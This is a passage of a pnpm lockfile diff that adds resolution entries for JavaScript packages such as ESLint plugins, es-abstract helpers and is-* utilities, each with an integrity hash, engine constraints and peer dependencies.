sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==} + + dlv@1.1.3: + resolution: {integrity: sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==} + + doctrine@2.1.0: + resolution: {integrity: sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==} + engines: {node: '>=0.10.0'} + + dunder-proto@1.0.1: + resolution: {integrity: sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==} + engines: {node: '>= 0.4'} + + electron-to-chromium@1.5.187: + resolution: {integrity: sha512-cl5Jc9I0KGUoOoSbxvTywTa40uspGJt/BDBoDLoxJRSBpWh4FFXBsjNRHfQrONsV/OoEjDfHUmZQa2d6Ze4YgA==} + + emoji-regex@9.2.2: + resolution: {integrity: sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==} + + es-abstract@1.24.2: + resolution: {integrity: sha512-2FpH9Q5i2RRwyEP1AylXe6nYLR5OhaJTZwmlcP0dL/+JCbgg7yyEo/sEK6HeGZRf3dFpWwThaRHVApXSkW3xeg==} + engines: {node: '>= 0.4'} + + es-define-property@1.0.1: + resolution: {integrity: sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==} + engines: {node: '>= 0.4'} + + es-errors@1.3.0: + resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==} + engines: {node: '>= 0.4'} + + es-iterator-helpers@1.3.2: + resolution: {integrity: sha512-HVLACW1TppGYjJ8H6/jqH/pqOtKRw6wMlrB23xfExmFWxFquAIWCmwoLsOyN96K4a5KbmOf5At9ZUO3GZbetAw==} + engines: {node: '>= 0.4'} + + es-object-atoms@1.1.1: + resolution: {integrity: sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==} + engines: {node: '>= 0.4'} + + es-set-tostringtag@2.1.0: + resolution: {integrity: sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==} + engines: {node: '>= 0.4'} + + es-shim-unscopables@1.1.0: + resolution: {integrity: sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw==} + engines: {node: '>= 0.4'} + + es-to-primitive@1.3.0: + resolution: {integrity: sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==} + engines: {node: '>= 0.4'} + + escalade@3.2.0: + resolution: {integrity: sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==} + engines: {node: '>=6'} + + escape-string-regexp@4.0.0: + resolution: {integrity: sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==} + engines: {node: '>=10'} + + eslint-config-next@15.5.18: + resolution: {integrity: sha512-HuoJU6uUPD00eyiud78IBnT4HLhztFj2V+ild2Uon5ZUrYZKe0Olu2QRD99e9IgL4/H1eg5Onka3BsfRW2U0Xw==} + peerDependencies: + eslint: ^7.23.0 || ^8.0.0 || ^9.0.0 + typescript: '>=3.3.1' + peerDependenciesMeta: + typescript: + optional: true + + eslint-import-resolver-node@0.3.10: + resolution: {integrity: sha512-tRrKqFyCaKict5hOd244sL6EQFNycnMQnBe+j8uqGNXYzsImGbGUU4ibtoaBmv5FLwJwcFJNeg1GeVjQfbMrDQ==} + + eslint-import-resolver-typescript@3.10.1: + resolution: {integrity: sha512-A1rHYb06zjMGAxdLSkN2fXPBwuSaQ0iO5M/hdyS0Ajj1VBaRp0sPD3dn1FhME3c/JluGFbwSxyCfqdSbtQLAHQ==} + engines: {node: ^14.18.0 || >=16.0.0} + peerDependencies: + eslint: '*' + eslint-plugin-import: '*' + eslint-plugin-import-x: '*' + peerDependenciesMeta: + eslint-plugin-import: + optional: true + eslint-plugin-import-x: + optional: true + + eslint-module-utils@2.12.1: + resolution: {integrity: sha512-L8jSWTze7K2mTg0vos/RuLRS5soomksDPoJLXIslC7c8Wmut3bx7CPpJijDcBZtxQ5lrbUdM+s0OlNbz0DCDNw==} + engines: {node: '>=4'} + peerDependencies: + '@typescript-eslint/parser': '*' + eslint: '*' + eslint-import-resolver-node: '*' + eslint-import-resolver-typescript: '*' + eslint-import-resolver-webpack: '*' + peerDependenciesMeta: + '@typescript-eslint/parser': + optional: true + eslint: + optional: true + eslint-import-resolver-node: + optional: true + eslint-import-resolver-typescript: + optional: true + eslint-import-resolver-webpack: + optional: true + + eslint-plugin-import@2.32.0: + resolution: {integrity: sha512-whOE1HFo/qJDyX4SnXzP4N6zOWn79WhnCUY/iDR0mPfQZO8wcYE4JClzI2oZrhBnnMUCBCHZhO6VQyoBU95mZA==} + engines: {node: '>=4'} + peerDependencies: + '@typescript-eslint/parser': '*' + eslint: ^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8 || ^9 + peerDependenciesMeta: + '@typescript-eslint/parser': + optional: true + + eslint-plugin-jsx-a11y@6.10.2: + resolution: {integrity: sha512-scB3nz4WmG75pV8+3eRUQOHZlNSUhFNq37xnpgRkCCELU3XMvXAxLk1eqWWyE22Ki4Q01Fnsw9BA3cJHDPgn2Q==} + engines: {node: '>=4.0'} + peerDependencies: + eslint: ^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9 + + eslint-plugin-react-hooks@5.2.0: + resolution: {integrity: sha512-+f15FfK64YQwZdJNELETdn5ibXEUQmW1DZL6KXhNnc2heoy/sg9VJJeT7n8TlMWouzWqSWavFkIhHyIbIAEapg==} + engines: {node: '>=10'} + peerDependencies: + eslint: ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0 + + eslint-plugin-react@7.37.5: + resolution: {integrity: sha512-Qteup0SqU15kdocexFNAJMvCJEfa2xUKNV4CC1xsVMrIIqEy3SQ/rqyxCWNzfrd3/ldy6HMlD2e0JDVpDg2qIA==} + engines: {node: '>=4'} + peerDependencies: + eslint: ^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9.7 + + eslint-scope@8.4.0: + resolution: {integrity: sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + eslint-visitor-keys@3.4.3: + resolution: {integrity: sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + eslint-visitor-keys@4.2.1: + resolution: {integrity: sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + eslint-visitor-keys@5.0.1: + resolution: {integrity: sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==} + engines: {node: ^20.19.0 || ^22.13.0 || >=24} + + eslint@9.39.4: + resolution: {integrity: sha512-XoMjdBOwe/esVgEvLmNsD3IRHkm7fbKIUGvrleloJXUZgDHig2IPWNniv+GwjyJXzuNqVjlr5+4yVUZjycJwfQ==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + hasBin: true + peerDependencies: + jiti: '*' + peerDependenciesMeta: + jiti: + optional: true + + espree@10.4.0: + resolution: {integrity: sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + esquery@1.7.0: + resolution: {integrity: sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==} + engines: {node: '>=0.10'} + + esrecurse@4.3.0: + resolution: {integrity: sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==} + engines: {node: '>=4.0'} + + estraverse@5.3.0: + resolution: {integrity: sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==} + engines: {node: '>=4.0'} + + esutils@2.0.3: + resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==} + engines: {node: '>=0.10.0'} + + fast-deep-equal@3.1.3: + resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} + + fast-glob@3.3.1: + resolution: {integrity: sha512-kNFPyjhh5cKjrUltxs+wFx+ZkbRaxxmZ+X0ZU31SOsxCEtP9VPgtq2teZw1DebupL5GmDaNQ6yKMMVcM41iqDg==} + engines: {node: '>=8.6.0'} + + fast-glob@3.3.3: + resolution: {integrity: sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==} + engines: {node: '>=8.6.0'} + + fast-json-stable-stringify@2.1.0: + resolution: {integrity: sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==} + + fast-levenshtein@2.0.6: + resolution: {integrity: sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==} + + fastq@1.20.1: + resolution: {integrity: sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==} + + fdir@6.5.0: + resolution: {integrity: sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==} + engines: {node: '>=12.0.0'} + peerDependencies: + picomatch: ^3 || ^4 + peerDependenciesMeta: + picomatch: + optional: true + + file-entry-cache@8.0.0: + resolution: {integrity: sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==} + engines: {node: '>=16.0.0'} + + fill-range@7.1.1: + resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==} + engines: {node: '>=8'} + + find-up@5.0.0: + resolution: {integrity: sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==} + engines: {node: '>=10'} + + flat-cache@4.0.1: + resolution: {integrity: sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==} + engines: {node: '>=16'} + + flatted@3.4.2: + resolution: {integrity: sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==} + + for-each@0.3.5: + resolution: {integrity: sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==} + engines: {node: '>= 0.4'} + + fraction.js@4.3.7: + resolution: {integrity: sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew==} + + fsevents@2.3.2: + resolution: {integrity: sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==} + engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} + os: [darwin] + + fsevents@2.3.3: + resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} + engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} + os: [darwin] + + function-bind@1.1.2: + resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==} + + function.prototype.name@1.1.8: + resolution: {integrity: sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==} + engines: {node: '>= 0.4'} + + functions-have-names@1.2.3: + resolution: {integrity: sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==} + + generator-function@2.0.1: + resolution: {integrity: sha512-SFdFmIJi+ybC0vjlHN0ZGVGHc3lgE0DxPAT0djjVg+kjOnSqclqmj0KQ7ykTOLP6YxoqOvuAODGdcHJn+43q3g==} + engines: {node: '>= 0.4'} + + get-intrinsic@1.3.0: + resolution: {integrity: sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==} + engines: {node: '>= 0.4'} + + get-nonce@1.0.1: + resolution: {integrity: sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q==} + engines: {node: '>=6'} + + get-proto@1.0.1: + resolution: {integrity: sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==} + engines: {node: '>= 0.4'} + + get-symbol-description@1.1.0: + resolution: {integrity: sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==} + engines: {node: '>= 0.4'} + + get-tsconfig@4.14.0: + resolution: {integrity: sha512-yTb+8DXzDREzgvYmh6s9vHsSVCHeC0G3PI5bEXNBHtmshPnO+S5O7qgLEOn0I5QvMy6kpZN8K1NKGyilLb93wA==} + + glob-parent@5.1.2: + resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==} + engines: {node: '>= 6'} + + glob-parent@6.0.2: + resolution: {integrity: sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==} + engines: {node: '>=10.13.0'} + + globals@14.0.0: + resolution: {integrity: sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==} + engines: {node: '>=18'} + + globalthis@1.0.4: + resolution: {integrity: sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==} + engines: {node: '>= 0.4'} + + gopd@1.2.0: + resolution: {integrity: sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==} + engines: {node: '>= 0.4'} + + has-bigints@1.1.0: + resolution: {integrity: sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==} + engines: {node: '>= 0.4'} + + has-flag@4.0.0: + resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} + engines: {node: '>=8'} + + has-property-descriptors@1.0.2: + resolution: {integrity: sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==} + + has-proto@1.2.0: + resolution: {integrity: sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==} + engines: {node: '>= 0.4'} + + has-symbols@1.1.0: + resolution: {integrity: sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==} + engines: {node: '>= 0.4'} + + has-tostringtag@1.0.2: + resolution: {integrity: sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==} + engines: {node: '>= 0.4'} + + hasown@2.0.3: + resolution: {integrity: sha512-ej4AhfhfL2Q2zpMmLo7U1Uv9+PyhIZpgQLGT1F9miIGmiCJIoCgSmczFdrc97mWT4kVY72KA+WnnhJ5pghSvSg==} + engines: {node: '>= 0.4'} + + ignore@5.3.2: + resolution: {integrity: sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==} + engines: {node: '>= 4'} + + ignore@7.0.5: + resolution: {integrity: sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==} + engines: {node: '>= 4'} + + import-fresh@3.3.1: + resolution: {integrity: sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==} + engines: {node: '>=6'} + + imurmurhash@0.1.4: + resolution: {integrity: sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==} + engines: {node: '>=0.8.19'} + + internal-slot@1.1.0: + resolution: {integrity: sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==} + engines: {node: '>= 0.4'} + + is-array-buffer@3.0.5: + resolution: {integrity: sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==} + engines: {node: '>= 0.4'} + + is-async-function@2.1.1: + resolution: {integrity: sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==} + engines: {node: '>= 0.4'} + + is-bigint@1.1.0: + resolution: {integrity: sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==} + engines: {node: '>= 0.4'} + + is-binary-path@2.1.0: + resolution: {integrity: sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==} + engines: {node: '>=8'} + + is-boolean-object@1.2.2: + resolution: {integrity: sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==} + engines: {node: '>= 0.4'} + + is-bun-module@2.0.0: + resolution: {integrity: sha512-gNCGbnnnnFAUGKeZ9PdbyeGYJqewpmc2aKHUEMO5nQPWU9lOmv7jcmQIv+qHD8fXW6W7qfuCwX4rY9LNRjXrkQ==} + + is-callable@1.2.7: + resolution: {integrity: sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==} + engines: {node: '>= 0.4'} + + is-core-module@2.16.2: + resolution: {integrity: sha512-evOr8xfXKxE6qSR0hSXL2r3sd7ALj8+7jQEUvPYcm5sgZFdJ+AYzT6yNmJenvIYQBgIGwfwz08sL8zoL7yq2BA==} + engines: {node: '>= 0.4'} + + is-data-view@1.0.2: + resolution: {integrity: sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==} + engines: {node: '>= 0.4'} + + is-date-object@1.1.0: + resolution: {integrity: sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==} + engines: {node: '>= 0.4'} + + is-extglob@2.1.1: + resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} + engines: {node: '>=0.10.0'} + + is-finalizationregistry@1.1.1: + resolution: {integrity: sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==} + engines: {node: '>= 0.4'} + + is-generator-function@1.1.2: + resolution: {integrity: sha512-upqt1SkGkODW9tsGNG5mtXTXtECizwtS2kA161M+gJPc1xdb/Ax629af6YrTwcOeQHbewrPNlE5Dx7kzvXTizA==} + engines: {node: '>= 0.4'} + + is-glob@4.0.3: + resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} + engines: {node: '>=0.10.0'} + + is-map@2.0.3: + resolution: {integrity: sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==} + engines: {node: '>= 0.4'} + + is-negative-zero@2.0.3: + resolution: {integrity: sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==} + engines: {node: '>= 0.4'} + + is-number-object@1.1.1: + resolution: {integrity: sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==} + engines: {node: '>= 0.4'} + + is-number@7.0.0: + resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} + engines: {node: '>=0.12.0'} + + is-regex@1.2.1: + resolution: {integrity: sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==} + engines: {node: '>= 0.4'} + + is-set@2.0.3: + resolution: {integrity: sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==} + engines: {node: '>= 0.4'} + + is-shared-array-buffer@1.0.4: + resolution: {integrity: sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==} + engines: {node: '>= 0.4'} + + is-string@1.1.1: + resolution: {integrity: sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==} + engines: {node: '>= 0.4'} + + is-symbol@1.1.1: + resolution: {integrity: sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==} + engines: {node: '>= 0.4'} + + is-typed-array@1.1.15: + resolution: {integrity: sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==} + engines: {node: '>= 0.4'} + + is-weakmap@2.0.2: + resolution: {integrity: sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==} + engines: {node: '>= 0.4'} + + is-weakref@1.1.1: + resolution: {integrity: sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==} + engines: {node: '>= 0.4'} + + is-weakset@2.0.4: + resolution: {integrity: sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==} + engines: {node: '>= 0.4'} + + isarray@2.0.5: + resolution: {integrity: sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==} + + isexe@2.0.0: + resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} + + iterator.prototype@1.1.5: + resolution: {integrity: sha512-H0dkQoCa3b2VEeKQBOxFph+JAbcrQdE7KC0UkqwpLmv2EC4P41QXP+rqo9wYodACiG5/WM5s9oDApTU8utwj9g==} + engines: {node: '>= 0.4'} + + jiti@1.21.7: + resolution: {integrity: sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A==} + hasBin: true + + js-tokens@4.0.0: + resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==} + + js-yaml@4.1.1: + resolution: {integrity: sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==} + hasBin: true + + json-buffer@3.0.1: + resolution: {integrity: sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==} + + json-schema-traverse@0.4.1: + resolution: {integrity: sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==} + + json-stable-stringify-without-jsonify@1.0.1: + resolution: {integrity: sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==} + + json5@1.0.2: + resolution: {integrity: sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==} + hasBin: true + + jsx-ast-utils@3.3.5: + resolution: {integrity: 